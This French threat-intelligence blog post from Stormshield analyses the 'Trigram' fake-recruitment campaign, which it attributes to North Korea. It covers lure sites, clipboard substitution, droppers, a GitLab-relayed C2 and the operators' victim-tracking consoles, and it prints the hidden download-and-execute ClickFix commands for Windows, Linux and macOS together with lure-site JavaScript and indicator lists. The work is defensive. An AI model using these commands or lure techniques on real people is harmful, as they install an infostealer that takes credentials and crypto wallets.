Mastodon

Campagne Trigram

Publié le : 11 11 2026

Auteur : Stormshield Customer Security Lab

28 minutes

TL;DR

L’équipe de Cyber Threat Intelligence de Stormshield a découvert la campagne Trigram, qui cible les secteurs de l'IA, la blockchain et la logistique en Europe et aux États-Unis.

  • Le piège : les cyber-criminels usurpent l'identité de 50 entreprises (fausses offres d'emploi, invitations ou suivis de colis) pour infecter la victime avec un infostealer.
  • Les coulisses : une plateforme dédiée permet aux cyber-attaquants de suivre toute l'opération, du premier clic jusqu'au vol des identifiants.

En corrélant ces données avec les travaux de Proofpoint, SafeDep et Genians, Stormshield attribue avec une confiance élevée cette campagne à la Corée du Nord, dans la continuité du cluster UNK_DeadDrop et du groupe Kimsuky (APT-43).

Préambule

Une menace déjà partiellement documentée

Depuis 2022, les acteurs dont les pratiques sont alignées sur celles de la Corée du Nord ciblent avec constance les développeurs de l’écosystème des cryptomonnaies. Le mode opératoire est souvent le même : de faux recruteurs, de faux entretiens techniques ou de faux exercices de code amènent la cible à exécuter elle-même un programme malveillant. La campagne la plus connue, Contagious Interview, aurait compromis au moins 30 000 appareils dans plus de 100 pays selon une alerte publiée en septembre 2026.

Plusieurs travaux récents décrivent des informations connexes à la campagne étudiée :

  • Proofpoint suit depuis avril 2026, sous le nom UNK_DeadDrop, un cluster très probablement nord-coréen qui envoie aux développeurs des offres d’emploi par courriel et les dirige vers des dépôts de code piégés [1] ;
  • SafeDep a documenté le 3 novembre 2026 la compromission du dépôt open source antd-img-crop, qui distribuait un infostealer baptisé OverLord par ses auteurs [2] ;
  • Genians a publié en août 2026 une analyse attribuant à Kimsuky une opération recourant à l’IA et à des dépôts Git comme infrastructure de commande [3].

Ce qu’apporte cet article

Cette analyse apporte trois éléments nouveaux :

  1. La description du back-office des opérateurs. C’est, à notre connaissance, la première description publique de l’outillage de pilotage d’une telle campagne : plateforme de gestion, consoles de suivi des victimes, infrastructure d’envoi de mail.
  2. Le rapprochement de travaux publiés séparément. L’infrastructure de Trigram relie les activités décrites par Proofpoint, SafeDep et Genians.
  3. L’observation d’une infrastructure vivante. Une rotation du C2 a été observée en cours d’analyse et l’échelle de la campagne a pu être mesurée (environ 50 marques usurpées).

Phase d'accès initial

Prise de contact avec la victime

L'attaque commence par l'envoi d'un courriel proposant une opportunité professionnelle. L'expéditeur se présente comme un recruteur et propose un poste dans le développement logiciel, entièrement en télétravail. Pour attirer l'attention de la victime, il met notamment en avant une rémunération annuelle conséquente.

Le message est suffisamment détaillé pour donner une apparence légitime à la proposition. Il contient également un lien vers un site Web permettant de consulter l'offre et de déposer une candidature, ainsi qu'un code de parrainage à renseigner lors de l'inscription.

L'objectif est d'amener la victime à cliquer sur le lien et à poursuivre le processus de recrutement, sans éveiller ses soupçons.

Visuel proposé

Un exemple du courriel utilisé pour cette première prise de contact est présenté ci-dessous.

Figure 1 : Exemple de courriel utilisé comme vecteur d'approche initiale de la victime.

Analyse du leurre

Le site web se présente comme une plateforme de recrutement sur laquelle les visiteurs peuvent consulter une offre d'emploi et soumettre leur candidature directement en ligne.

À première vue, le site reprend les éléments classiques d'une plateforme de recrutement :

  • une présentation de l'entreprise,
  • une description du poste proposé,
  • un formulaire permettant aux candidats de transmettre leurs informations.

Le parcours est relativement simple et se déroule en plusieurs étapes :

  • Présentation de l'entreprise et de l'offre : le site décrit l'activité de l'entreprise et présente le poste à pourvoir, notamment avec les missions proposées et la rémunération.
  • Dépôt de candidature : le candidat est invité à remplir un formulaire contenant différentes informations, notamment son nom, son adresse électronique, le poste recherché, un lien vers son portfolio ainsi qu'une présentation personnelle.
  • Vérification anti-spam : une fois le formulaire envoyé, le visiteur est redirigé vers une nouvelle page qui lui demande de réaliser une vérification pour confirmer qu'il n'est pas un robot.
  • Confirmation : le parcours se termine sur une page indiquant que la candidature a bien été prise en compte.

L'ensemble est conçu pour donner une impression de cohérence et de légitimité. Le site gère notamment la validation des champs, l'enchaînement des différentes étapes et l'affichage des messages de confirmation.

C'est toutefois au niveau de la vérification anti-spam que le fonctionnement du site devient suspect. Présentée comme une simple étape de validation, cette procédure demande en réalité au candidat de copier puis d'exécuter une commande directement sur son ordinateur.

Identification de l'environnement

Au chargement du site, un script contenu dans la page web détermine l'environnement du visiteur, en particulier au travers de l'information User-Agent. Cela influe sur la navigation et permet de renseigner les attaquants sur les visiteurs autorisés.

Filtrage des visiteurs

Le script identifie le système d'exploitation et s'intéresse uniquement à Windows, macOS et Linux. De même, il vérifie la présence du cookie cn_ip_restricted, défini par le serveur, et récupère à sa valeur. Si le cookie existe avec la valeur 1, ou si le système d'exploitation n'est pas dans sa liste d'intérêt, il n'offre pas de capacité de navigation dans les pages Web proposées et l'utilisateur se retrouve bloqué. Ces vérifications sont effectuées directement dans le navigateur et ne donnent lieu à aucun envoi de données.

Collecte des informations sur les visiteurs

Pour les visiteurs qui passent le filtre, le script extrait ces informations depuis la chaîne User-Agent du navigateur :

  • le système d’exploitation,
  • le navigateur et sa version,
  • le type d’appareil, qui vaut desktop dans la pratique, puisque les mobiles ont déjà été écartés.
Restriction d'accès par adresse IP

Le cookie cn_ip_restricted=1 laisse penser que le site dispose d'un mécanisme de restriction d'accès basé sur l'adresse IP du visiteur. Le préfixe cn pourrait faire référence à la Chine, mais cette interprétation reste à confirmer.

Le fonctionnement de cette restriction repose notamment sur le code JavaScript suivant :

function d() {
    return /(?:^|;\s*)cn_ip_restricted=1(?:;|$)/.test(document.cookie)
}

Lorsque ce cookie est présent, le site affiche une version limitée de la page d'accueil. Les boutons et les liens sont désactivés, et le processus d'initialisation habituel est interrompu. La page reste accessible, mais toute interaction avec celle-ci devient impossible, comme le montre le code suivant :

async function Vt() {
    let e = document.querySelector(`#app`);
    if (!e) return;
    let t = u(),
        n = d();                       // n = cookie cn_ip_restricted
    if (t || n) {
        document.body.className = `device-blocked-route`;
        document.title = `Unsupported Device | Lumenorbit`;
        e.innerHTML = t ? Tt(t) : Et();
        f(e);
        return
    }
    ...
}

Collecte des informations de candidature

Le formulaire de candidature permet de recueillir les informations personnelles et professionnelles suivantes :

  • Nom complet
  • Adresse électronique
  • Poste recherché
  • Profil LinkedIn ou portfolio
  • Présentation personnelle

Les données sont ensuite enregistrées localement dans l'espace localStorage du navigateur, sous la clé alb-application, puis transmises au serveur au moyen d'une requête HTTP POST au format JSON vers la route /track-activity. En cas d'échec, le script tente d'utiliser navigator.sendBeacon comme solution de repli.

Fausse vérification anti-spam

Après avoir rempli le formulaire de candidature, le visiteur est redirigé vers la route /anti-spam. Cette page se présente comme une étape de vérification destinée à filtrer les candidatures automatisées. Ce mécanisme s'inscrit dans le contexte d'une campagne qui semble viser des personnes préalablement identifiées, plutôt qu'un public large. Pour poursuivre la procédure, le candidat doit renseigner un code de parrainage.

Validation du code de parrainage

Quand le candidat valide son code de parrainage, le site l’envoie au serveur en POST sur /refcode/unlock, sous la forme suivante :

{ "refCode": "CODE_SAISI" }

Si le serveur l’accepte, il répond avec un flux JSON contenant les champs suivants :

  • refCode : le code confirmé par le serveur. Le site le remet dans le champ de saisie, qui devient alors non modifiable.
  • code : une valeur dont on ne connaît pas la nature côté client. Cette donnée est stockée dans l'espace sessionStorage du navigateur, sous la clé alb_verify_draft.
  • jobTag : un champ facultatif, utilisé uniquement pour le suivi. Quand le code est accepté, le script envoie un message au serveur (/track-activity) pour signaler que le code a été déverrouillé, et y joint l'information jobTag. Il n’a aucun effet sur le fonctionnement de la page.

Si le code est refusé, le site affiche l’un de ces trois messages :

  • « Already used. » : code déjà utilisé ;
  • « Locked to another IP. » : code lié à une autre adresse IP ;
  • « Invalid code. » : pour tous les autres cas, y compris une erreur réseau ou une réponse incomplète du serveur.

Lorsque le code est accepté, le site affiche un message de confirmation au candidat. L'illustration ci-dessous présente un exemple. Son apparence peut varier en fonction du site.

Figure 2 : Code d'invitation.

Génération et exécution de la commande malveillante

Scénario

Dès que le code de parrainage est validé, la page affiche un identifiant aléatoire (un nonce) et fournit une commande à exécuter. Pour endormir la méfiance de la victime, le site présente cette étape comme un vulgaire test de vérification pour prouver qu'elle n'est pas un robot.

La manipulation demandée est simple :

  • Copier la commande directement depuis le site.
  • Ouvrir le terminal de sa machine (PowerShell ou l'invite de commandes sur Windows, ou le terminal classique sur macOS et Linux).
  • Coller et lancer la commande, ce qui valide le piège et lance l'infection.

La capture d'écran ci-dessous montre les instructions présentées à un candidat utilisateur de Linux, ainsi que le nonce et la commande à exécuter.

Figure 3 : Commande.

La page explique que cette commande permet de signer le nonce depuis le terminal et de l'enregistrer dans la chaîne du comité (Committee's chain). Cette présentation donne à l'opération l'apparence d'une simple vérification technique.

L'analyse de la commande montre qu'elle se contente d'envoyer le nonce au serveur via une requête POST vers /api/verify. Elle ne télécharge aucun fichier et n'exécute aucun script sur la machine de la victime.

La page attend ensuite une confirmation du serveur. Elle utilise pour cela une connexion SSE (Server Sent Event) ou, si celle-ci échoue, envoie régulièrement des requêtes vers /api/verify/status. Une fois le nonce reçu, elle affiche volontairement le message d'erreur suivant : « Operation timeout. Please try again. Nonce Refreshed. ».

Ce message d'erreur est volontairement affiché et ne correspond pas à un véritable dépassement de délai. Il marque en réalité le passage à une seconde phase de l'attaque. La page conserve la même apparence mais le comportement du bouton de copie est désormais modifié. La victime est ainsi incitée à recommencer la vérification, sans se douter que le mécanisme a changé.

Substitution du presse-papiers

Le script modifie le comportement de la copie et intercepte les deux méthodes utilisées pour récupérer la commande :

  • Lorsque la victime clique sur le bouton « Copy », le script place directement la commande malveillante dans le presse-papiers.
  • Si elle sélectionne le texte et utilise Ctrl+C, le script intercepte également cette action et remplace le contenu copié par la commande malveillante.

La commande affichée à l'écran contient toujours le nouveau nonce, mais celle copiée dans le presse-papiers est différente. Elle comporte un saut de ligne à la fin, ce qui entraîne son exécution dès qu'elle est collée dans un terminal, sans que la victime ait besoin d'appuyer sur Entrée.

Chaque copie est également signalée au serveur. Le script envoie une requête vers /refcode/cmd-copy et transmet un événement cmdline_copied à /track-activity. Celui-ci contient notamment le système d'exploitation, le nonce et un indicateur magic, qui permet de savoir si la commande malveillante a été copiée. L'opérateur peut ainsi suivre les actions de la victime.

Commandes exécutées selon le système

La commande est construite à partir de l’OS détecté et de l’adresse de la page, ici notée <site>. Elle télécharge un script depuis le domaine du faux site de recrutement, puis l'exécute.

Commande Windows
powershell -NoProfile -Command "$nonce=''; start -WindowStyle Hidden cmd '/c curl -ks https:///verify_w -o v.cmd&&v.cmd'; $d=('{\"nonce\":\"' + $nonce + '\"}')"
  1. PowerShell démarre sans charger de profil (-NoProfile).
  2. Il lance cmd dans une fenêtre masquée.
  3. curl télécharge le fichier verify_w depuis le serveur distant, sans vérifier le certificat TLS (-k) et sans afficher de sortie (-s). Le fichier est enregistré sous le nom v.cmd dans le répertoire courant.
  4. Une fois le téléchargement terminé avec succès, le fichier v.cmd est automatiquement exécuté par CMD.

 

Commande Linux
bash -c 'nonce=""; setsid -f bash -c "curl -ks https:///verify_m -o u && exec bash u" >/dev/null 2>&1 </dev/null; jsd="{\"nonce\":\"$nonce\"}"'
  1. Bash est lancé avec setsid -f pour le faire fonctionner dans sa propre session, en arrière-plan, et sans dépendre du terminal. Son entrée, sa sortie et ses erreurs sont ignorées.
  2. curl télécharge le fichier verify_w depuis le serveur distant, sans vérifier le certificat TLS (-k) et sans afficher de sortie (-s). Le fichier est enregistré sous le nom u dans le répertoire courant.
  3. Si le téléchargement a réussi, il exécute le fichier avec exec bash u.

 

Commande macOS
bash -c 'nonce=""; perl -MPOSIX -e"fork&&exit;POSIX::setsid;fork&&exit;exec@ARGV" bash -c "curl -ks https:///verify_m -o verify_m && exec bash verify_m" &>/dev/null& json="{\"nonce\":\"$nonce\"}"'`
  1. Perl réalise un double fork et appelle POSIX::setsid pour détacher le processus du terminal : le premier fork permet à setsid de créer une nouvelle session, le second empêche le processus de reprendre un terminal de contrôle. Le choix de Perl s’explique probablement par l’absence de la commande setsid sous macOS
  2. curl télécharge le fichier verify_w depuis le serveur distant, sans vérifier le certificat TLS (-k) et sans afficher de sortie (-s). Le fichier est enregistré sous le nom verify_m dans le répertoire courant.
  3. Si le téléchargement a réussi, il exécute le fichier avec exec bash verify_m.

Sur les trois systèmes, les commandes déclarent à la fin une variable contenant le nonce au format JSON ($d, jsd, json), mais ne sert jamais. On peut supposer que c’est un habillage pour que ces commandes ressemblent à celle affichée, puisque l’œil humain sait plus facilement détecter des changements en début et en fin de texte.

Récapitulatif de la phase d'accès initial

L'accès initial repose sur un faux recrutement qui cible les développeurs et qui utilise la technique ClickFix :

  • Filtrage : les utilisateurs mobiles, les systèmes non pris en charge et les visiteurs soumis à une restriction via le cookie cn_ip_restricted n'ont accès qu'à une page inactive.
  • Leurre : la victime remplit un formulaire de candidature, puis passe par une fausse vérification anti-spam nécessitant un code de parrainage à usage unique.
  • Substitution : après avoir exécuté une première commande inoffensive, la victime reçoit une fausse erreur « Operation timeout. Please try again. Nonce Refreshed. ». Le site remplace alors la commande présente dans son presse-papiers par une seconde commande, sans l'en informer.
  • Exécution : la seconde commande télécharge un script depuis le serveur distant, puis l'exécute discrètement sur le poste de la victime.
  • Suivi : les différentes étapes de la procédure sont signalées au serveur via /track-activity.

Phase d'exécution du dropper

Schéma de fonctionnement

Synthèse

L'analyse des scripts met en évidence une même chaîne d'infection, déclinée pour trois environnements :

  • Linux
  • macOS
  • Windows

Ces scripts jouent le rôle de loaders : ils préparent l'environnement d'exécution, récupèrent les composants nécessaires et lancent une charge utile JavaScript, install_guard.js, récupérée depuis un serveur distant.

Le fonctionnement repose sur plusieurs étapes communes :

  • Exécution en arrière-plan : le script initial lance un processus secondaire de manière asynchrone, en se désolidarisant du terminal.
  • Décodage de la charge : le premier script extrait et décode un second niveau de code dissimulé au format Base64.
  • Préparation de l'environnement : ce second script configure son répertoire de travail, met en place un mécanisme de verrouillage pour éviter des installations concurrentes et recherche une installation existante de Node.js.
  • Déploiement de Node.js : si aucune version compatible (v18 minimum) n'est disponible, le script télécharge une version portable de Node.js v20.18.1, adaptée au système d'exploitation et à son architecture.
  • Récupération du payload : le script télécharge ensuite install_guard.js depuis l'infrastructure de l'opérateur. Le fichier doit atteindre une taille minimale de 50 Ko pour être considéré comme valide, avant d'être exécuté avec Node.js.

La variante Windows présente plusieurs mécanismes spécifiques. Elle utilise notamment un script VBScript pour relancer le fichier CMD de manière asynchrone, ainsi que PowerShell pour décoder la charge Base64. Elle cherche également à supprimer la Mark-of-the-Web (MOTW), afin de retirer les informations de provenance Internet susceptibles de déclencher des avertissements ou des restrictions de sécurité sous Windows.

En conclusion, ces droppers reposent sur une architecture commune, déclinée selon les spécificités de Windows, macOS et Linux. Ils préparent l'environnement, téléchargent et exécutent un composant JavaScript, tout en intégrant des mécanismes de reprise, de gestion des processus et de communication avec l'infrastructure de l'attaquant.

Ce composant déploie ensuite un infostealer chargé de collecter les identifiants des navigateurs, les portefeuilles de cryptomonnaies et les fichiers sensibles présents sur la machine. Il récupère également des informations système et transmet les données collectées à l'attaquant. Il assure enfin le déploiement d'agents destinés à maintenir un accès à la machine. Le fonctionnement de l'infostealer et les capacités de ces agents seront détaillés dans un prochain article.

Infrastructure

Vue d'ensemble

L’infrastructure cartographiée compte environ 200 IOC(s) notamment :

  • URL
  • IP
  • Nom de domaines
  • Certificats
  • E-mail

Elle s’articule autour de trois niveaux de profondeur, des cibles vers les opérateurs (figure 4) :

Figure 4 : Architecture de l’infrastructure, des leurres au back-office opérateur.

Niveau 1, les leurres : faux sites de recrutement, d’invitation à une conférence ou de suivi de colis. C’est la seule surface visible des cibles. Ces sites distribuent aussi les scripts du stage 2.

Niveau 2, les serveurs de commande et contrôle (C2) : ils hébergent la charge JavaScript (install_guard.js) et reçoivent la télémétrie d’installation. Les C2 ne sont jamais inscrit en dur dans le code : ils sont obtenue via un dépôt GitLab servant de relais, ce qui permet aux attaquants de changer de C2 à tout moment.

Niveau 3, le back-office des opérateurs : consoles de suivi des victimes et plateforme de gestion de campagne (rms-platform). Celle-ci centralise la collecte de cibles sur GitHub, l’envoi massif de courriels, le suivi des interactions et un module de gestion de portefeuilles de cryptomonnaies.

Ces trois niveaux s’appuient sur des services légitimes détournés : GitHub et GitLab pour l’hébergement de code et de configuration, Brevo, Resend, Mailgun et Smartlead pour l’envoi de courriels, FullStory pour l’enregistrement des sessions des visiteurs.

Deux constantes caractérisent l’ensemble des éléments cartographiés :

  • Un hébergement concentré chez Advin Services. Les domaines sont majoritairement enregistrés chez [NameCheap] et utilisent des extensions peu coûteuses (.xyz, .ink, .site, .space, .online). Ce choix n’est pas propre à cette campagne : Proofpoint relevait déjà en avril 2026 l’usage d’adresses Advin comme serveurs d’envoi par le cluster UNK_DeadDrop [1], et SafeDep situe chez ce même hébergeur les serveurs de troisième étape de la compromission d’antd-img-crop [2].
  • Des artefacts compatibles avec un développement assisté par IA. La documentation interne de la plateforme (décrit plus bas dans une section dédiée) contient des passages manifestement copiés depuis un assistant conversationnel, dont une réponse qui se conclut en proposant à l’utilisateur de fournir « son nom de domaine ». La configuration référence également une clé d’API Gemini. Le code présente un style homogène et abondamment commenté, caractéristique des outils de génération. Ces éléments ne permettent pas d’établir le degré de recours à l’IA, mais ils sont cohérents avec un développement assisté.

Niveau 1 : les leurres

Les leurres constituent la seule surface directement exposée aux cibles. Ils servent de support aux scénarios d’ingénierie sociale décrits dans la phase d’accès initial, du courriel d’approche jusqu’à l’exécution de la commande malveillante. Ils distribuent également les scripts de deuxième étape (verify_w pour Windows, verify_m pour Linux et macOS).

La cartographie fait apparaître trois scénarios distincts, recrutement, invitation à une conférence et suivi de colis, qui reposent sur un socle technique commun : la cible saisit un code de vérification, puis colle dans son terminal la commande générée par le site.

Scénario 1 : recrutement dans les secteurs Web3, IA et tech

Ce scénario est le plus fréquent du corpus. Les sites usurpent l’identité d’entreprises de la blockchain, de l’intelligence artificielle ou du développement logiciel, et mettent en scène une offre d’emploi à pourvoir. L’usurpation est double : elle porte à la fois sur le nom de domaine et sur l’identité visuelle, reproduite à l’identique.

Les noms de domaine suivent des schémas récurrents, qui combinent le nom de la marque usurpée et un terme évoquant le recrutement ou la communauté :

Schéma
Exemples de domaines usurpés
*council
fuelcouncil[.]ink
mantle2council[.]xyz
*hires
*careers
*talents
mantlehires[.]xyz
lineacareers[.]xyz
ritualtalents[.]xyz
buildwith*
buildwithritual[.]xyz
buildwithmina[.]ink
inv2*
inv2boyaa[.]site
inv2initia[.]ink
join*
joinwebflow[.]xyz
joinmetis[.]site

Ci dessous un comparatif des visuels entre les sites officiels et ceux de phishing :

Site légitime : somnia.network


Site de phishing : somniabuilders[.]network


Site légitime : ritual.net


Site de phishing : buildwithritual[.]xyz


Site légitime : webflow.com

Site de phishing : joinwebflow[.]xyz

Et ce n'est que le début d'une longue liste. Au total, environ 50 marques sont usurpées. SafeDep a documenté un autre portail de recrutement, au nom d’Amber Group, hébergé sur la même infrastructure [2]. Proofpoint décrivait déjà en mai 2026 des usurpations comparables, dont celle d’une agence de recrutement spécialisée dans le Web3 et l'IA [1].

Scénario 2 : invitation à la conférence ICAGLLMBT

Un site se distingue dans le corpus : une invitation à l’International Conference on Advances in Generative AI, Large Language Models and Blockchain Technology (ICAGLLMBT). L’intitulé est authentique. Il désigne une série de conférences annoncées dans plusieurs villes et à plusieurs dates. Le domaine icagllmbt[.]space le reprend pour donner du crédit à l’invitation, qui annonce une édition à Tokyo les 7 et 8 juillet 2027.

Figure 5 : Page de "login" sur le site de la conférence.

Le mode opératoire rejoint celui du scénario de recrutement. Après un formulaire d’inscription, la cible arrive sur une page de collecte d'informations et est invitée à une vérification la menant vers son auto infection (figure 6).

Le code JavaScript du site contenait, en outre, un code d'invitation de debug permettant d’accéder directement à cette page, sans passer par les étapes intermédiaires :

Figure 6 : Formulaire d'inscription à la conférence.

Ce scénario présente une particularité : il ne repose pas uniquement sur les envois des attaquants. Le formulaire propose à la cible qui ne peut pas se rendre à l’événement, de désigner un remplaçant. Il génère également un billet et un code d’accès à transmettre (figure 7). La cible devient ainsi elle-même un vecteur de diffusion auprès de son propre réseau professionnel, ce qui élargit la portée de la campagne au-delà de la liste de destinataires des attaquants.

Figure 7 : Billet et token d'accès à diffuser.

Le domaine icagllmbt[.]space n’est pas cantonné à ce rôle de leurre. SafeDep a documenté son utilisation comme serveur de deuxième étape dans la chaîne de compromission du dépôt GitHub antd-img-crop, un composant téléchargé environ 98 000 fois par semaine sur npm [2]. Un commit malveillant, poussé le 31 octobre 2026, ajoutait un script exécuté à la compilation, qui téléchargeait verify_m ou verify_w depuis ce domaine. Un même domaine sert donc simultanément de leurre et de point de distribution pour une attaque sur la chaîne d’approvisionnement logicielle.

Scénario 3 : suivi de colis

Ce scénario exploite le thème de la logistique. Les leurres reproduisent les interfaces de suivi de trois transporteurs : DHL (Allemagne), DPD (groupe Geopost, France) et Aramex (Émirats Arabes Unis) (figure 8).

À l'instar du domaine loadshipdpd[.]ink présenté ci-dessous, les domaines cartographiés sur la même infrastructure (193.160.32[.]10, listés dans le tableau ci-après (figure 8)) et associés à ce cluster "suivi de colis" n'ont été observés que très peu de temps sur le serveur, entre le 08 octobre et le 10 octobre 2026.

Figure 8 : Page de leurre "suivi de colis".


Domaines résolus le 08/10/28 vers 193.160.31.10
DHL
DPD
ARAMEX
waybilltrack[.]xyz
loadwatcherdpd[.]ink
tracearamex[.]ink
freightviewer[.]ink
loadtracedpd[.]xyz
trackaramex[.]xyz
tracedhl[.]xyz
loadshipdpd[.]ink
parcelaramex[.]ink
shipdhl[.]xyz
loadwadpd[.]xyz
parcelaramex[.]ink
loadtrace[.]delivery
loadwatchdpd[.]ink
tracearamex[.]ink
freightracker[.]ink
tracedpd[.]xyz
loadshiparamex[.]ink
shiptrace[.]delivery

loadwatcharamex[.]xyz
transitwatch[.]ink

shiparamex[.]xyz
loadwatchdhl[.]xyz

parcelaramex[.]xyz
shiptransit[.]ink


Ce qui relie les trois scénarios

Plusieurs éléments techniques indépendants rattachent ces scénarios à une même infrastructure :

Élément
Recrutement
Conférence
Colis
Hébergement sur 193.160.32[.]10
✓
✓
✓
Scripts verify_w et verify_m
✓
✓
✓
Commande ClickFix générée après saisie d’un code
✓
✓
✓
Endpoint potentiel dans rms-platform
api/refcode/
api/refcode/
api/waybill/

Nous estimons avec une confiance élevée que ces trois scénarios relèvent d’un même opérateur et d’une même plateforme technique.

Niveau 2 : les serveurs de Command & Control (C2)

Une infrastructure en couches

Une fois la commande ClickFix exécutée, le script de deuxième étape (verify_w ou verify_m selon le système de la victime) téléchargé depuis le domaine leurre, déploie un environnement Node.js, puis récupère la charge JavaScript install_guard.js (voir la phase d’exécution des droppers). Cette charge n’embarque pas l’adresse de son serveur de commande et contrôle, mais elle définit l'adresse d'un fichier de configuration hébergé sur un dépôt GitLab public, qui sert de relais (dead drop resolver).

Cette architecture distingue trois rôles :

  • les serveurs de distribution, qui hébergent install_guard.js et reçoivent la télémétrie d’installation,
  • le relais GitLab, qui indique l’adresse du C2 en vigueur,
  • le serveur C2 proprement dit, avec lequel communique la charge une fois installée.

Les opérateurs peuvent ainsi changer de serveur C2 en modifiant un simple fichier sur GitLab, sans redéployer de code chez les victimes ni modifier leurs leurres.

Chaîne observée le 4 nov. 2026 :

Une rotation observée en cours d’analyse

Le relais GitLab n’est pas permanent. Le 31 octobre 2026, SafeDep relevait un relais hébergé sur le dépôt gitlab[.]com/drop-indexings/tasks. Quelques jours plus tard, la charge interrogeait un autre dépôt de même structure, gitlab[.]com/up-indexings/tasks. Celui-ci avait été créé le 3 novembre 2026 à 03:05 UTC, la veille de notre observation. Le fichier config.json qu’il contient a été déposé par un compte utilisant le pseudonyme 0xapp123.

Date (UTC)
Relais GitLab
C2 indiqué
Source
31 oct. 2026
drop-indexings/tasks
api.chestsoi[.]ink
SafeDep
3 nov. 2026, 03:05
création de up-indexings/tasks
-
GitLab
4 nov. 2026
up-indexings/tasks
api.cerysoi[.]ink
Stormshield

Le nom du dépôt (tasks) et la structure du chemin sont conservés d’une génération à l’autre ; seul le compte change (*-indexings). Ce motif constitue un indicateur de détection exploitable.

Nos investigations nous ont permis d'identifier quatre domaines remplissant des rôles de distribution ou de C2 : api.gaganata[.]ink, api.fallgganata[.]ink, gamsterb[.]ink et api.cerysoi[.]ink.

Une infrastructure résiliente

Un nommage par paires. fallgganata est vraisemblablement un serveur de repli (fallback) de gaganata, ce que confirme l’analyse de SafeDep. De même, cerysoi partage son suffixe avec chestsoi[.]ink, un autre domaine relevé par SafeDep. Ces paires suggèrent une génération des noms par lots.

Un recouvrement avec le back-office. Le sous-domaine dashboard.gaganata[.]ink figure dans la configuration de la plateforme d’administration des opérateurs (voir Niveau 3). Un même domaine sert donc à la fois à la distribution de la charge et au pilotage de la campagne.

Niveau 3 : le back-office des opérateurs

Principe

Le troisième niveau rassemble les outils de pilotage de la campagne. Il comprend des consoles de suivi des victimes, exposées sur plusieurs domaines, et une plateforme de gestion de campagne baptisée rms-platform par ses auteurs. Leur analyse dépasse la seule chaîne d’infection : elle montre comment les opérateurs choisissent leurs cibles, leur écrivent, suivent leur progression et exploitent les données obtenues.

Des consoles d’administration cachées dans les leurres

Les consoles de suivi ne sont pas des applications séparées : elles sont livrées dans le même code JavaScript que les leurres. Le même bundle est servi à tous les visiteurs, et un test sur le nom d’hôte ou le chemin de l’URL conditionne l'interface affichée :

< script >
  ;(function () {
    var host = window.location.hostname || ''
    var path = window.location.pathname || ''
    var isValidator =
      host.indexOf('validator.') === 0 ||
      host === 'subnet.dokamacto.xyz' ||
      path.indexOf('/ops-7f3k9m') === 0
    if (!isValidator) {
      document.title = 'AAV Career: Hiring'
    }
  })()
</ script >

À l’adresse racine de subnet.dokamacto[.]xyz, le visiteur voit ainsi un leurre de recrutement (« AAV Career ») qui affiche une erreur d’éligibilité (figure [n]). Sous le chemin /ops-7f3k9m, ce même domaine affiche la console des opérateurs. Ce choix de conception a une conséquence majeure : chaque visiteur d’un leurre reçoit, sans le savoir, l’intégralité du code de la console. C’est ce qui a permis d’en reconstituer les fonctionnalités.

http://subnet.dokamacto[.]xyz/ops-7f3k9m

http://subnet.dokamacto[.]xyz

La configuration de la plateforme (voir plus bas) liste les domaines et adresses autorisés à héberger ces consoles :

CSRF_TRUSTED_ORIGINS [
    'https://dashboard.asteara.org',
    'http://dashboard.asteara.org',
    'https://dashboard.cklomino.ink',
    'http://dashboard.cklomino.ink',
    'https://almanac.3dscenebox.online',
    'http://almanac.3dscenebox.online',
    'https://dashboard.gaganata. ink',
    'http://dashboard.gaganata.ink',
    'https://online.dokamacto.xyz',
    'http://online.dokamacto.xyz'
]

 

ALLOWED_HOSTS [
    '170.205.29.83',
    '146.19.215.187',
    '185.147.159.187',
    '170.205.30.27',
    'dashboard.asteara.org',
    'dashboard.cklomino.ink',
    'almanac.3dscenebox.online',
    'dashboard.gaganata.ink',
    'online.dokamacto.xyz',
    'localhost',
    '127.0.0.1'
]

Deux de ces hôtes sont déjà connus :

  • Le domaine asteara[.]org figure parmi les infrastructures attribuées par Proofpoint au cluster UNK_DeadDrop dès avril 2026 [1].
  • L'adresse 170.205.29[.]83 servait à ce même cluster pour l’envoi de ses courriels de phishing [1], et figure parmi les serveurs C2 listés par Genians [3]. Le back-office décrit ici s’appuie donc, au moins en partie, sur une infrastructure en service depuis plus de six mois.

Un suivi des victimes étape par étape

Le code de la console décrit avec précision les étapes que l’opérateur suit pour chaque victime. Chacune correspond à un événement remonté par le leurre ou par la charge malveillante :

#
Code opération
Libellé affiché
Étape correspondante de la chaîne d'infection
1
copiedCmdline
Copied CMD
La victime a copié la commande malveillante
2
installerDownloadStarted
Reg installer
Téléchargement du script de deuxième étape
3
launcherOk
Launcher OK
Exécution réussie du dropper
4
launcherResultReported
Launcher reported
Remontée du journal d’installation
5
clickedCheckNow
Check Now
Interaction avec l’interface de « vérification »
6
deviceRegistered
Guard ran
Exécution de install_guard.js
7
deviceCheckPassed
Device OK
Validation du poste par la charge
8
faceVerificationPassed
Face OK
Étape de « vérification faciale » [hypothèse : narratif anti-deepfake]
9
passwordSaved
Password
Mot de passe système récupéré

Les deux dernières étapes éclairent la finalité du dispositif. La « vérification faciale » prolonge vraisemblablement le narratif de la charge, présentée comme une protection contre les deepfakes (deepfake_guard). La récupération du mot de passe correspond au comportement documenté par SafeDep : sur macOS et Linux, la charge affiche une fausse fenêtre système qui demande le mot de passe de l’utilisateur, puis l’utilise pour déverrouiller les secrets stockés et s’installer avec des privilèges élevés.

La console offre en outre plusieurs fonctions de pilotage :

  • La supervision des leurres. Chaque domaine leurre géré par la console est testé toutes les 30 secondes, par une requête sur les chemins /verify_w ou /verify_m. Les opérateurs détectent ainsi immédiatement un leurre neutralisé.
  • Des indicateurs de performance. Sur des fenêtres de 24 heures, la console compare le nombre d’installations réussies au nombre de « vrais visiteurs ». Les bots et les adresses IP bloquées sont comptabilisés à part, et ces dernières peuvent être gérées depuis l’interface.
  • La notation des cibles. Chaque cible est classée « important », « moderate » ou « useless », ce qui suggère un tri des victimes selon leur valeur.
  • L’enregistrement des sessions. Les leurres intègrent le service d’analyse comportementale FullStory (organisation o-23XVR6-na1), qui permet de rejouer la navigation de chaque visiteur.
window['_fs_host'] = 'fullstory.com'
window['_fs_script'] = 'edge.fullstory.com/s/fs.js'
window['_fs_org'] = 'o-23XVR6-na1'
window['_fs_namespace'] = 'FS'

L’opérateur dispose donc d’une vision en temps réel de chaque victime, de la copie de la commande jusqu’à la récupération de son mot de passe.

Focus sur rms-platform : une plateforme de gestion de campagne (Niveau 3)

Présentation

